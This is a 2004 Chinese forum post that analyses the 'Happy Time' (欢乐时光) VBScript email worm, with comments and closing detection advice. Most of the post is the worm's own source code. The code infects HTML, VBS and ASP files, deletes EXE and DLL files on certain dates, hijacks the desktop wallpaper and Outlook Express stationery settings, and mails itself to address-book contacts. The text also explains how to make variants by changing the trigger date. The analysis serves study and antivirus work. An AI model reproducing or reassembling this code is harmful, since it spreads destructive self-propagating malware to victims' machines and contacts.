枫林在线论坛精华区>>程序设计

[214090] 主题： "欢乐时光" 病毒代码分析

	作者： xajhgys2 ()
	标题： "欢乐时光" 病毒代码分析
	来自： 61.165.*.*
	发贴时间： 2004年05月19日 16:59:40
	长度： 14406字
	“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋 高一招的。 我们知道，邮件的格式可以有两种： 纯文本和超文本。超文本（HTML）功能强大就不用多说了，它可以内嵌数 种脚本语言 ，常见的就是VBScript和 JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看 得出来，该 作者很可能是长期从事网络编程的高 手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，尤其是利 用了类型库 （Type Library）成功地避开了安全 审核的手段更是令人叹为观止。  　　下面让我们来看看它藏在快乐的外衣下的是什么吧！  *************** 欢乐时光 *************** Rem I am sorry! happy time On Error Resume Next Mload '以上为病毒入口，并加上I am sorry! happy time的注释，以表明此文件 已被感染过 。 Sub mload() On Error Resume Next mPath = Grf() Set Os = CreateObject("Scriptlet.TypeLib")  Set Oh = CreateObject("Shell.Application") '建立枚举对象，避开了安全审核 If IsHTML Then '调用IsHtml函数，如果是Html，就小写……  mURL = LCase(document.Location) If mPath = "" Then Os.Reset  Os.Path = "C:\Help.htm" Os.Doc = Lhtml() Os.Write() '如果mPath为空，就在C盘下生成Help.htm Ihtml = "" '超文本的内容，并指向C:\Help.Htm Call document.Body.insertAdjacentHTML("AfterBegin", Ih tml) Else If Iv(mPath, "Help.vbs") Then setInterval "Rt()", 10000 Else m = "hta" If LCase(m) = Right(mURL, Len(m)) Then id = setTimeout("mclose()", 1) '设置超时条件 main Else  Os.Reset() Os.Path = mPath & "\" & "Help.hta" Os.Doc = Lhtml() Os.write() Iv mPath, "Help.hta" '生成Help.hta End If End If End If Else Main '都不是，就执行main函数  End If End Sub '*************************************************************** *** '以下为主函数，太长了！ Sub main() On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") '不用说，创建FileSystemObject对象啦 Set Od = CreateObject("Scripting.Dictionary") '创建Dictionary对象, 用来保存数据键和项目对，它实际上是一个比较开 放的数组 Od.Add "html", "1100"  Od.Add "vbs", "0100" Od.Add "htm", "1100" Od.Add "asp", "0010" '向Dictionary对象添加要感染的项目对 Ks = "HKEY_CURRENT_USER\Software\" '使用变量以减少代码长度  Ds = Grf() Cs = Gsf() If IsVbs Then '如果是VBS  If Of.FileExists("C:\help.htm") Then  Of.DeleteFile ("C:\help.htm") '如果c:\help.htm存在，就删掉，消灭遗留的痕迹 End If Key = CInt(Month(Date) + Day(Date))  If Key = 13 Then  '如果月与日之和为13（这也是它变种多的原因——将13改为其他数字即可 ） Od.RemoveAll Od.Add "exe", "0001" Od.Add "dll", "0001" '就清空Dictionary数组，并将exe、dll加入Dictionary 对象，以备删除 之用 End If Cn = Rg(Ks & "Help\Count")  '读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值 If Cn = "" Then Cn = 1 '如果Count为0，就设为1 End If Rw Ks & "Help\Count", Cn + 1  '添加HKEY_CURRENT_USER\Software\Help\Count键值，值为2 f1 = Rg(Ks & "Help\FileName")  '再读HKEY_CURRENT_USER\Software\Help\FileName键值 f2 = FNext(Of, Od, f1)  '得到该文件的文件名 fext = GetExt(Of, Od, f2)  '得到该文件扩展名的代号 Rw Ks & "Help\FileName", f2  '添加键值 If IsDel(fext) Then  '如果扩展名代号的第四个字符为1——即0001(exe、dll) f3 = f2  '储存文件名 f2 = FNext(Of, Od, f2)  '得到文件的文件名？ Rw Ks & "Help\FileName", f2  '写注册表 Of.DeleteFile f3  '删除文件 Else If LCase(WScript.ScriptFullname) <> LCase(f2) Then  '如果不是集合中的文件 Fw Of, f2, fext End If End If If (CInt(Cn) Mod 366) = 0 Then If (CInt(Second(Time)) Mod 2) = 0 Then '使用 Cint函数强制执行转换，并发邮件 Tsend Else adds = Og Msend (adds) End If End If wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper& quot;) If Rg(Ks & "Help\wallPaper") <> wp Or wp = & quot;" Then '比较桌面墙纸是否已改变 If wp = "" Then n1 = "" n3 = Cs & "\Help.htm" Else mP = Of.GetFile(wp).ParentFolder n1 = Of.GetFileName(wp) n2 = Of.GetBaseName(wp) n3 = Cs & "\" & n2 & ".htm" End If Set pfc = Of.CreateTextFile(n3, True) mt = Sa("1100") '创建超文本 pfc.Write "<" & "HTML><" &  "body bgcolor='#007f7f' background='" & n1 &  "'>< " & "/Body><" & "/HTML>&quo t; & mt '超文本的内容 pfc.Close Rw Ks & "Help\wallPaper", n3 Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper" , n3 '将带毒的超文本设置成活动桌面 End If Else Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True) fc.Write Sa("0100") '创建vbs文件 fc.Close bf = Cs & "\Untitled.htm" Set fc2 = Of.CreateTextFile(bf, True) fc2.Write Lhtml fc2.Close '创建windows下的untitled.htm oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID&quo t;) oe = "HKEY_CURRENT_USER\Identities\" & oeid &  "\Software\Microsoft\Outlook  E xpress\5.0\Mail" MSH = oe & "\Message Send HTML" CUS = oe & "\Compose Use Stationery" SN = oe & "\Stationery Name" Rw MSH, 1 Rw CUS, 1 Rw SN, bf '在Hkey_Current_User＼Identities＼{AECF6CA3-9614-4AF4-AEF2-CT63F E9D97A4}＼ Software＼Microsoft＼Outlook  Express＼5.0＼Mail下添加三个键值Message Send HTML 、Compose Use  Stationery  和Stationery Name，前两个的值为 1，后一个指向windows\untitled.htm Web = Cs & "\WEB" Set gf = Of.GetFolder(Web).Files '得到windows\web文件夹里的文件 Od.Add "htt", "1100" '向Dictionary里添加htt项目对 For Each m In gf '遍历windows\web下的每一个文件 fext = GetExt(Of, Od, m) '得到每个文件的扩展名 If fext <> "" Then '如果扩展名不为空，则 Fw Of, m, fext End If Next End If End Sub '*************************************************************** *** Sub mclose()  document.Write "<" & "title>I am sorry! '写入I am sorry,并关闭。以此作为感染 与否的标记 window.Close End Sub '*************************************************************** *** Sub Fw(Of, S, n)  '此时S为文件名，n为文件扩展名 Dim fc, fc2, m, mmail, mt On Error Resume Next Set fc = Of.OpenTextFile(S, 1)  '只读模式打开该文件 mt = fc.ReadAll  '读入全部文件流 fc.Close  '关闭文件 If Not Sc(mt) Then  '如果未感染过 mmail = Ml(mt) mt = Sa(n) Set fc2 = Of.OpenTextFile(S, 8) '打开文件并在文件末尾进行写操作 fc2.Write mt fc2.Close Msend (mmail) '发带毒邮件 End If End Sub '*************************************************************** *** Function Sc(S) mN = "Rem I am sorry! happy time" If InStr(S, mN) > 0 Then  '如果读入的文件流中有Rem I am sorry! happy time Sc = True  Else Sc = False '表示已感染过，返回True,否则为False End If End Function '*************************************************************** *** Function FNext(Of, Od, S) Dim fpath, fname, fext, T, gf On Error Resume Next fname = "" T = False '初始化变量 If Of.FileExists(S) Then  '如果S存在于当前文件夹中 fpath = Of.GetFile(S).ParentFolder '得到文件的父目录名 fname = S  '得到文件名 ElseIf Of.FolderExists(S) Then  '不存在于当前文件夹中，则得到目录名 fpath = S  T = True Else fpath = Dnext(Of, "")  '得到当前盘符——即根目录 End If Do While True Set gf = Of.GetFolder(fpath).Files  '得到当前目录下的所有文件对象 For Each m In gf  '遍历每个文件 If T Then If GetExt(Of, Od, m) <> "" Then  '如果该文件是文件集合中的一员 FNext = m  '则返回该文件名，供调用的函数或过程使用——感染或删除之 Exit Function End If ElseIf LCase(m) = LCase(fname) Or fname = "" Then  '如果没文件 T = True End If Next fpath = Pnext(Of, fpath) ' Loop End Function '*************************************************************** *** Function Pnext(Of, S) On Error Resume Next Dim Ppath, Npath, gp, pn, T, m T = False If Of.FolderExists(S) Then  '如果如果指定的文件夹存在 Set gp = Of.GetFolder(S).SubFolders  '就得到子目录数 pn = gp.Count If pn = 0 Then  '如果没子目录 Ppath = LCase(S) ' Npath = LCase(Of.GetParentFolderName(S))  '得到父目录的小写形式 T = True Else Npath = LCase(S)  '有子目录，得到其小写形式的集合  End If Do While Not Er '  For Each pn In Of.GetFolder(Npath).SubFolders '得到子目录下的子目录 If T Then If Ppath = LCase(pn) Then T = False End If Else Pnext = LCase(pn) Exit Function End If Next T = True Ppath = LCase(Npath) '将字符串转化成小写 Npath = Of.GetParentFolderName(Npath) ' If Of.GetFolder(Ppath).IsRootFolder Then  '如果是根目录 m = Of.GetDriveName(Ppath)  '就得到分区符 Pnext = Dnext(Of, m) Exit Function End If Loop End If End Function '*************************************************************** *** Function Dnext(Of, S) Dim dc, n, d, T, m On Error Resume Next T = False m = "" Set dc = Of.Drives  '得到所有的驱动器盘符 For Each d In dc  '遍历每个驱动器 If d.DriveType = 2 Or d.DriveType = 3 Then '如果是网络盘或本地盘 If T Then Dnext = d Exit Function '如果是False，就返回当前盘，并退出本函数 Else If LCase(S) = LCase(d) Then  '如果是True且盘符相同，就令T为True T = True End If If m = "" Then  '如果m为空，就将盘符付给m m = d End If End If End If Next Dnext = m  '返回盘符 End Function '*************************************************************** *** Function GetExt(Of, Od, S) Dim fext On Error Resume Next fext = LCase(Of.GetExtensionName(S)) '返回该文件扩展名的小写 GetExt = Od.Item(fext)  '返回Dictionary对象中指定的key对应的item——即0001(exe)等 End Function '*************************************************************** *** Sub Rw(k, v)  '写注册表 Dim R On Error Resume Next Set R = CreateObject("WScript.Shell") '创建对象 R.RegWrite k, v End Sub '*************************************************************** *** Function Rg(v)  '读注册表 Dim R On Error Resume Next Set R = CreateObject("WScript.Shell") '创建对象 Rg = R.RegRead(v) End Function '*************************************************************** *** Function IsVbs()  '此函数判断是不是VBS文件 Dim ErrTest On Error Resume Next ErrTest = WScript.ScriptFullname If Err Then  '如果出错，则不是VBS IsVbs = False Else IsVbs = True End If End Function '*************************************************************** *** Function IsHTML()  '此函数判断是不是Html文件 Dim ErrTest On Error Resume Next ErrTest = document.Location If Er Then IsHTML = False '如果出错，则不是超文本 Else IsHTML = True End If End Function '*************************************************************** *** Function IsMail(S) '此函数判断是不是邮件地址 Dim m1, m2 IsMail = False If InStr(S, vbCrLf) = 0 Then  '返回vbCrLf在S中第一次出现的位置, vbCrLf是换行符 m1 = InStr(S, "@")  m2 = InStr(S, ".") If m1 <> 0 And m1 < m2 Then  '如果有“@”符号且“@”在“."之前，则是邮件地址 IsMail = True End If End If End Function '*************************************************************** *** Function Gsf()  '得到windows目录 Dim Of, m On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") '创建FileSystemObject对象 m = Of.GetSpecialFolder(0) '得到特殊目录——Windows、System和Temp目录 If Er Then  '如果失败，返回C:Gsf = "C:\" Else  '若正常，则返回%Windows% Gsf = m End If End Function '*************************************************************** *** Function Lhtml()  '写入超文本的内容，其中vbCrLf是换行符 Lhtml = "<" & "HTML" & "> "<" & "Title> Help "<" &am p; "Body> " & Lscript(Lvbs ()) & vbCrLf & _ "<" & "/Body>End Function '*************************************************************** *** Function Lscript(S)  '写入vbscript的声明 Lscript = "<" & "script language='VBScript '>" & vbCrLf & _ S & "<" & "/script" & "& gt;" End Function '*************************************************************** *** Function Sl(S1, S2, n)  Dim l1, l2, l3, i l1 = Len(S1)  '得到文件流的长度 l2 = Len(S2)  '得到mailto:的长度 i = InStr(S1, S2)  '在文件流中查找mailto:第一次出现的位置——值为一个数 If i > 0 Then  '找到则进行字符串操作 l3 = i + l2 - 1 If n = 0 Then Sl = Left(S1, i - 1) ElseIf n = 1 Then Sl = Right(S1, l1 - l3) End If Else Sl = "" End If End Function '*************************************************************** *** Function Og()  '得到WAB（通讯簿）中的邮件地址 Dim i, n, m(), Om, Oo Set Oo = CreateObject("Outlook.Application") '创建Outlook应用程序对象，Outlook和Outlook Express都跑不掉啦！ Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10). Items n = Om.Count ReDim m(n) For i = 1 To n m(i - 1) = Om.Item(i).Email1Address 得到每个WAB中的邮件地址 Next Og = m End Function '*************************************************************** *** Sub Tsend()  '发带毒邮件 Dim Od, MS, MM, a, m Set Od = CreateObject("Scripting.Dictionary") MConnect MS, MM MM.FetchSorted = True MM.Fetch For i = 0 To MM.MsgCount - 1 MM.MsgIndex = i a = MM.MsgOrigAddress If Od.Item(a) = "" Then Od.Item(a) = MM.MsgSubject End If Next For Each m In Od.Keys MM.Compose MM.MsgSubject = "Fw: " & Od.Item(m) '设置邮件标题 MM.RecipAddress = m '此邮件的当前的目标邮件地址 MM.AttachmentPathName = Gsf & "\Untitled.htm" '添加附件Windows\Untitled.htm MM.Send '发送！ Next MS.SignOff End Sub '*************************************************************** *** Function Er()  '设置的错误陷阱，避免程序崩溃，严谨的风格值得学习 If Err.Number = 0 Then Er = False Else Err.Clear Er = True End If End Function '*************************************************************** *** Function IsDel(S)  '此函数查看当前文件是否是要删除的文件类型 If Mid(S, 4, 1) = 1 Then  '看S的第四个字符是否是1——即是0001(exe和dll) IsDel = True  '如是，返回True，以备删除 Else IsDel = False  '如不是，返回False End If End Function '*************************************************************** *** 于安全上的考虑，上面只登出了技术上比较新颖和重要的几个模块供大家 研究和学习之用。从代码中大家可以看到，“欢乐时光”也采用了“爱虫 ”的FileSystemObject（文件系统对象）的技术，这也几乎是所有VBS邮件 病毒必不可少的部分。因此如果杀毒软件监视所有Html和Vbs中的FileSys temObject关键字，几乎可以查出所有和潜在的变种（虽然可能会将某些良 性的超文本和Vbs误报，但还是“宁可错杀一千，不可放过一毒”。如果仅 监视关键字，如“爱虫”的“I love you”，“欢乐时光”的“Happy Ti me"，造毒者只要将其改掉即可，再将邮件标题、内容和源码中的变 量名替换一下，具有“智能查毒”的杀毒软件们也只有装聋作哑，望毒兴 叹了
	========== * * * * * ==========

返回